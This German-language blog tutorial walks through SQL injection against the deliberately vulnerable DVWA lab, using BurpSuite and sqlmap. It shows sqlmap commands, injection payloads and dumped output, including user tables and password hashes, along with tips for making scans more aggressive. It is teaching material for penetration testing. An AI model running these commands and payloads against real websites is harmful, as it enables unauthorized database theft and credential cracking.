SQLmap Crashkurs

18.12.2017, 20:09 - Autor: Mark B.

Den Angriff vorbereiten

Zunächst müssen wir mit http://192.168.1.104/dvwa/ (unser Metasploitable 2 VPC) die Webseite aufrufen, wobei Sie die IP-Adresse natürlich abändern müssen in Ihrem Netzwerk. Zur Erinnerung: Sie können sich mit dem User msfadmin und dem Passwort msfadmin auf dem Metasploitable VPC einloggen und mit ifconfig die IP-Adresse abfragen.

Zunächst müssen wir uns in der DVWA-Seite einloggen. Das geschieht mit dem User admin und dem ganz besonders sicheren Passwort password. Danach habe ich die Sicherheit auf "Low" gesetzt. Das machen Sie unter "DVWA Security" ziemlich weit unten auf der linken Seite.

Ich kann Ihnen an dieser Stelle nur empfehlen alle Angriffe auf dem Level "Low" zu versuchen. Wenn Sie jeden der Angriffe geschafft haben steigern Sie die Sicherheit auf "Medium" und beginnen von vorne!

BurpSuite

... ist ein sogenannter Intercepting-Proxy, also ein Proxy-Server der es erlaubt Requests (Anfragen) an den Webserver sowie Responses (Antworten) vom Webserver abzufangen und zu manipulieren. Damit können wir sehr einfach und unkompliziert die Kommunikation zwischen Client und Server beobachten und auch eingreifen um Daten zu übermitteln, die so nicht vorgesehen waren.

Dies kann genutzt werden um die Funktion einer Webseite zu verstehen und vor allem um SQL-Code zu injizieren bzw. die Verwundbarkeit gegenüber dieses Angriffs zu testen. Aber auch das einschleusen von Javascript- oder HTML-Code klappt vorzüglich. Die Möglichkeiten von burpsuite gehen aber weit darüber hinaus. So wird eine Seite im Hintergrund geparst und alle Links zu anderen Seiten und Verweise zu weiteren Dateien wie zB JS-Scripts werden gesammelt. So kann man sich einen Überblick über die einzelnen Dateien verschaffen, ohne die Seite aktiv zu crawlen.

Natürlich ist es ebenfalls möglich die Seite aktiv crawlen zu lassen und so auf einem Schlag die gesamte Struktur offenzulegen. Außerdem kann man mit dem Repeater-Tab Request wiederholen um verschiedenste Angriffe zu testen ohne diese jeweils ein Forumlar erneut ausfüllen zu müssen. Das kann Ihnen einiges an Zeit ersparen.

Darum werde ich Ihnen mit Hilfe dieses Tools gleich einen der gefährlichsten Angriffe auf eine Webseite demonstrieren. Die Rede ist von SQL-Injection oder kurz SQLi.

Wenn wir BurpSuite starten bekommen wir folgende zwei Fragen gestellt:

In der kostenlosen Version ist es nicht möglich ein Projekt für eine spätere Weiterverarbeitung zu speichern. Daher können wir hier nur ein temporäres Projekt erstellen indem wir auf Next klicken.

Für unser Beispiel reicht auch die Standard-Konfiguration aus - eigentlich für so gut wie alles was man machen möchte. Für Spezialfälle sollten Sie diesbezüglich die Dokumentation zu Rate ziehen. Starten wir nun also BurpSuite mit einen Klick auf den Button unten rechts.

Danach sehen Sie dieses Fenster. Zum Überprüfen ob der Proxy-Server läuft und auf welchen Port er lauscht öffnen Sie den Proxy-Tab. Innerhalb dieses Tabs öffnen Sie den Reiter "Options". Wie sich sich sicher schon gedacht haben benötigt BurpSuite root-Rechte um den Proxy-Server einzurichten und anzubieten.

Danach müssen wir den Browser so konfigurieren, dass dieser den soeben gestarteten Proxy- Server verwendet. Dazu öffnen wir den vorinstallierten Firefox-Browser und klicken auf das Menü-Symbol und Einstellungen:

Unter Advanced und Network öffnen Sie dann die "Connection-Settings" mit einem Klick auf den ersten Button auf der linken Seite.

Hier wählen Sie "Manual proxy configuration" und tragen unter HTTP-Proxy die IP-Adresse und den Port ein, den Sie in der BurpSuite gesehen haben. Danach setzen Sie noch einen Haken bei "Use this proxy server for all protocols", wie Sie es in dem Bildschirmfoto oben sehen können. Jetzt bestätigen Sie diese Eingaben mit dem OK-Button und Ihr Browser ist einsatzbereit.

Schalten Sie nun innerhalb Proxy-Tab im Intercept-Tab die Funktion "Intercept" ab um vorerst keine Daten abzufangen. Nun können Sie DVWA aufrufen und zur Rubrik "SQL Injection" navigieren.

Bevor Sie das Formular absenden aktivieren Sie "Intercept" wieder. Dies veranlasst den Proxy die Kommunikation zu unterbrechen damit wir diese begutachten oder verändern können.

Wechseln Sie dazu zu BurpSuite, öffnen Sie den Proxy-Tab und darin den Reiter "Intercept". Wie hier gezeigt muss der Intersept-Button aktiviert sein.

Sobald Sie nun das Forular absenden wird die Anfrage abgefangen:

GET http://192.168.1.104/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
Host: 192.168.1.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.104/dvwa/vulnerabilities/sqli/
Cookie: security=low; PHPSESSID=c33f56f6bbcf71a32b8977d7f158ca0d
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Genau diesen HTTP-GET-Header kopieren wir und speichern ihn in der Datei request.txt ab.

Mit dem Forward-Button wird nun diese Anfrage unverändert an den Webserver gesendet. Mit dem Drop-Button könnten Sie übrigens eine Anfrage oder eine Antwort verwerfen.

Den Angriff mit sqlmap durchführen

Nachdem wir uns die Test-Umgebung eingerichtet haben müssen wir ein Request an den Server abfangen und in einer Text-Datei speichern. Dazu können Sie zB BurpSuite verwenden wie oben bereits gezeigt. Dann wählen Sie auf der DVWA-Seite links den Punkt "SQL-Injection" und tragen in das dafür vorgesehen Feld eine beliebige Nummer als ID ein und senden das Formular ab. In BurpSuite kopieren den ganzen Text des Requests in einen Texteditor. Wichtig ist, dass es ein reiner Text-Editor ist und nicht Abiword oder Libreoffice! Ich wendende hier beispielsweise Gedit, Geany oder Leafpad. Danach speichere ich die Datei in mein Home-Verzeichnis als request.txt ab. Das erspart uns alle möglichen Parameter von Hand einzutragen und beugt somit auch gleich Tippfehlern vor!

root@kali:~# sqlmap -r request.txt -p id --dbs
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.1.2#stable}
|_ -| . ["]     | .‘| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user‘s responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program

[*] starting at 00:22:39

[00:22:39] [INFO] parsing HTTP request from ‚request.txt‘
[00:22:39] [INFO] testing connection to the target URL
[00:22:39] [INFO] testing if the target URL is stable
[00:22:40] [INFO] target URL is stable
[00:22:40] [INFO] heuristics detected web page charset ‚ascii‘
[00:22:40] [INFO] heuristic (basic) test shows that GET parameter ‚id‘
might be
                  injectable (possible DBMS: ‚MySQL‘)
[00:22:40] [INFO] heuristic (XSS) test shows that GET parameter ‚id‘ might
be
                  vulnerable to cross-site scripting attacks
[00:22:40] [INFO] testing for SQL injection on GET parameter ‚id‘
                  it looks like the back-end DBMS is ‚MySQL‘. Do you want
to skip test
                  payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for ‚MySQL‘
extending provided level (1) and risk (1) values? [Y/n] Y

[00:23:02] [INFO] testing ‚AND boolean-based blind - WHERE or HAVING clause‘
[00:23:02] [WARNING] reflective value(s) found and filtering out
[00:23:03] [INFO] testing ‚AND boolean-based blind -
                  WHERE or HAVING clause (MySQL comment)‘
[00:23:06] [INFO] testing ‚OR boolean-based blind -
                  WHERE or HAVING clause (MySQL comment)‘

... Ausgabe gekürzt

[00:23:22] [INFO] GET parameter ‚id‘ is
                  ‚MySQL UNION query (NULL) - 1 to 20 columns‘ injectable
[00:23:22] [WARNING] in OR boolean-based injection cases, please consider
usage of switch ‚--drop-set-cookie‘ if you experience any problems during
data retrieval
GET parameter ‚id‘ is vulnerable.
Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 217
HTTP(s) requests:
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
(NOT)
    Payload: id=2‘ OR NOT 1427=1427#&Submit=Submit

    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause
                                          (FLOOR)
    Payload: id=2‘ AND ROW(6595,8063)>(SELECT
COUNT(*),CONCAT(0x716b6a7a71,(SELECT
(ELT(6595=6595,1))),0x7178707a71,FLOOR(RAND(0)*2))x FROM (SELECT 2311 UNION
SELECT 5307 UNION SELECT 3243 UNION SELECT 7634)a GROUP BY x)--
ZzDE&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=2‘ AND SLEEP(5)-- xgZf&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=2‘ UNION ALL SELECT CONCAT(0x716b6a7a71, 0x50764a5452674c74464e6c6b50587479594d43616c4b6944724c636a66766d424a4e664a4d676c52, 0x7178707a71), NULL#&Submit=Submit

[00:23:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1

[00:23:27] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195

Mit
-r dateiname legen wir die Datei fest, aus der sqlmap alle Parameter parsen soll,
-p id legt fest, dass nur der Parameter id getestet werden soll
(andernfalls werden alle getestet) und
--dbs sorgt für eine Auflistung der Datenbanken auf die der aktuelle User Zugriff hat.

Apropos User, schauen wir mal als wer wir da auf der Datenbank angemeldet sind:

root@kali:~# sqlmap -r request.txt -p id --current-user
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.1.2#stable}
|_ -| . [)]     | .‘| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

... Ausgabe gekürzt

[01:14:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[01:14:36] [INFO] fetching current user
[01:14:37] [WARNING] reflective value(s) found and filtering out
current user:    ‚root@%‘

Wir sind also root, das ist schlimm aber noch schlimmer ist das @%, denn das bedeutet, dass sich root von überall einloggen darf. Also kommt man wenn man das Passwort hat und der MySQL-Port an der Firewall freigegeben ist auch mit root von jedem beliebigen Rechner auf die Datenbank. Das root das darf kommt in der Praxis normalerweise nicht vor (außer jemand ohne Ahnung hat einen V-Server oder Root-Server aufgesetzt). Aber jeder andere Benutzer der sich von einer beliebigen IP aus anmelden kann erlaubt es in der Regel die Datenbank sofort in einem Stück herunterzuladen. Ich überlasse es Ihnen in der sqlmap Dokumentation danach zu suchen wie man den Passwort-Hash downloaded und gleich mit dem eingebauten Passwort-Knacker zu knacken versucht.

Als nächstes wollen wir uns eine der Datenbanken näher ansehen:

user@kali:~$ sqlmap -r request.txt -p id -D dvwa --tables
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.1.2#stable}
|_ -| . ["]     | .‘| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

... Ausgabe gekürzt

[01:22:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[01:22:22] [INFO] fetching tables for database: ‚dvwa‘
[01:22:22] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

Hierbei legt der Parameter

-D datenbankname fest welche Datenbank benutzt werden soll und
--tables erzeugt eine Auflichtung aller Tabellen dieser Datenbank.

Da wir es auf die Login-Daten abgesehen haben werden wir uns nun die Tabelle users vornehmen:

root@kali:~# sqlmap -r request.txt -p id -D dvwa -T users --dump

... Ausgabe gekürzt
[01:26:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[01:26:39] [INFO] fetching columns for table ‚users‘ in database ‚dvwa‘
[01:26:39] [WARNING] reflective value(s) found and filtering out
[01:26:39] [INFO] fetching entries for table ‚users‘ in database ‚dvwa‘
[01:26:39] [INFO] analyzing table dump for possible password hashes
[01:26:39] [INFO] recognized possible password hashes in column ‚password‘
do you want to store hashes to a temporary file for eventual further
processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] N
Database: dvwa
Table: users
[5 entries]
+---------+---------+-------------+----------------------------------+-----------+-----------+
| user_id | user    | avatar      | password                         |last_name | first_name |
+---------+---------+-------------+----------------------------------+-----------+-----------+
| 1       | admin   | admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 |admin     | admin      |
| 2       | gordonb | gordonb.jpg | e99a18c428cb38d5f260853678922e03 |Brown     | Gordon     |
| 3       | 1337    | 1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b | Me       | Hack       |
| 4       | pablo   | pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 |Picasso   | Pablo      |
| 5       | smithy  | smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 |Smith     | Bob        |
+---------+---------+-------------+----------------------------------+-----------+-----------+

Auch hier schlägt sqlmap vor, dass wir die Hashes in eine separate Datei zu extrahieren. Dies wird benötigt um die Hashes mit rcrack, hashcat oder ähnlichen Tools zu knacken. Danach werden wir gefragt ob wir die Passwörter mit dem mitgelieferten Wörterbuch knacken wollen. Wir hätten sogar die Option ein eigenes Wörterbuch zu definieren.

Ich verneine dies aber beides an dieser Stelle weil ich dazu ein von mir entwickeltes Tool verwenden möchte. Außerdem werde ich an dieser Stelle auf einen echten Dump zurückgreifen den ich bei Sicherheits-Tests für einen Kunden gezogen habe. Darin befinden sich mehr als 17.000 Passwörter, die mit md5 gehasht wurden. siehe CSVHashCrack

Zuvor will ich jedoch kurz auf den zweiten SQL-Injection Punkt in DVWA eingehen. Die sogenannte Blind oder Blind Boolean SQL-Injection. Hierbei können die Daten nicht direkt mit geschickt gestalteten SQL-Anfragen herausgeschmuggelt werden, sondern müssen erraten werden. Daher also das blind. In dem Fall wird anhand von Veränderungen im Verhalten oder der Reaktionszeit der Seite versucht zu erraten ob ein SQL-Befehl klappt oder nicht. Als Boolean werden Wahrheitswerte in der Programmierung bezeichnet. Diese Variablen können nur einen Wert für Wahr oder Falsch annehmen. Setzt man das blinde Raten und die Wahrheitswerte in Bezug, kommt man also auf ein blindwütiges Ratespielchen mit Ja/Nein - Fragen und genau das ist es was dieser Angriff macht!

In leichter lesbare Form übersetzt kann man sich das wie folgt vorstellen:
Hat das Ergebnis von der Abfrage 1 Zeichen -> NEIN
Hat das Ergebnis von der Abfrage 2 Zeichen -> JA
Ist das erste Zeichen des Ergebnisses 1 ----> NEIN
Ist das erste Zeichen des Ergebnisses 2 ----> JA
Ist das zweite Zeichen des Ergebnisses 1 ---> NEIN
Ist das zweite Zeichen des Ergebnisses 2 ---> NEIN
... usw.
Ist das zweite Zeichen des Ergebnisses 7 ---> JA

ERGEBNIS: 27

Wie Sie sich vorstellen können ist dies weder effizient noch schnell aber unter Umständen die einzige Variante die funktioniert. Wie auch bei dem Beispiel mit den 17.000 Login-Daten - hier sind über mehrere Tage lang die Felder Buchstabe für Buchstabe und Ziffer für Ziffer hereingetröpfelt. In dieser Zeit müssen das zig Milliarden von Anfragen gewesen sein und die Log-Datei müsste astronomische Ausmaße angenommen haben. Dennoch ist das niemanden aufgefallen, da scheinbar niemand die Server-Logs oder Zugriffsprotokolle kontrollierte.

Wenn Sie bei einem Angriff dieses Verhalten feststellen dann wundern Sie sich nicht. Sie können den Vorgang aber etwas beschleunigen indem Sie mit --threads 4 beispielsweise 4 Verbindungen verwenden um 4 Zeichen gleichzeitig abzuprüfen. Hierbei können Sie die Nummer natürlich so niedrig oder hoch wählen wie es der Server und ihre Leitung zulassen.

Wenn Sie bei einem Versuch keinen Treffer feststellen, Sie allerdings aufgrund eigener Tests sicher wissen, dass der Parameter angreifbar ist, dann können Sie mit --level 5 und --risk 3 die Anzahl der Tests und die Aggressivität von sqlmap auf das Maximum steigern. Dadurch dauert der Testdurchlauf länger und hinterlässt auch viel mehr Log-Zeilen am Server. Sie können für --level die Werte von 1 bis 5 und für --risk die Werte von 1 bis 3 verwenden. Alles weiter entnehmen Sie bitte der Dokumentation!

Glücklicherweise gibt es in so gut wie jeder Sprache vorgefertigte Funktionen, die es erlauben SQL-Zeichen auszufiltern bzw. zu quoten und so derartigen Angriffen vorbeugen. Als Programmierer steht man allerdings vor den Problem, dass man beispielsweise 1.000 SQL-Abfragen absichern muss - der Angreifer hingegen muss nur die eine finden bei der der Programmierer dies vergessen hat.

Ein anderer Weg wäre es auf Datenbanken zu verzichten. Viele Dinge können auch einfach in Text-Dateien gespeichert werden. Je nach Projekt kann dies durchaus Sinn machen.

Die Automatik von sqlmap arbeitet nicht in allen Fällen korrekt! Daher ist es für einen Angreifer unerlässlich sich mit SQL zu beschäftigen und diese Sprache zu beherrschen um sqlmap mit einem passenden Prefix-Wert auf die Sprünge zu helfen falls nötig. Oftmals würden die Angriffsmethoden funktionieren - der Angriff scheitert aber daran, dass sqlmal das SQL-Kommando nicht syntaktisch korrekt schließen kann. Dann heißt es nacharbeiten um den Angriff zum Laufen zu bringen.